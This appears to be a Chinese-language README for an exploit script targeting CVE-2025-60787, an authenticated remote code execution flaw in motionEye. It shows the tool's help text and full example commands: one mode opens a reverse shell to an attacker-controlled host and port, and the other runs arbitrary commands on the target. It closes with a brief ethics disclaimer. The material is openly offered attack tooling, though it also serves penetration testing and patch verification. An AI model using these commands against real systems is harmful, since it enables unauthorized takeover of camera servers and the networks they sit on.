此PoC针对CVE-2025-60787,这是一个针对motionEye的认证RCE漏洞,影响所有版本直至0.43.1b4(含)。
这是针对该仓库中描述漏洞的自动化PoC。鸣谢prabhatverma47。
该脚本有2个利用此漏洞的命令。一个名为revshell,直接发送反弹shell;另一个名为command,直接执行命令利用此CVE。
❯ python3 CVE-2025-60787.py -h
usage: CVE-2025-60787.py [-h] {revshell,command} ...
PoC for CVE-2025-60787 -- Authenticated RCE in motionEye by gunzf0x
positional arguments:
{revshell,command} 选择发送反弹shell或(尝试)运行命令
revshell 尝试使用CVE-2025-60787漏洞发送反弹shell
command 使用CVE-2025-60787漏洞远程执行命令
options:
-h, --help 显示此帮助信息并退出
使用revshell命令获取shell。例如:
python3 CVE-2025-60787.py revshell --url 'http://10.10.10.10:8765' --user 'admin' --password 'StrongPassw0rd123!' -i 10.10.10.15 --port 9001
其中10.10.10.10是目标机器(运行motionEye的机器),10.10.10.15是我们的攻击机,9001是我们监听以捕获反弹shell的端口。
如果我们不想使用反弹shell而是要远程执行其他命令,可以使用command选项。例如,在目标机器上执行命令ping -c1 10.10.10.15:
python3 CVE-2025-60787.py command --url 'http://10.10.10.10:8765' --user 'admin' --password 'StrongPassw0rd123!' -e 'ping -c1 10.10.10.15'
其中10.10.10.10是运行motionEye的机器。
请始终自行承担使用此脚本的责任。
请保持道德 (: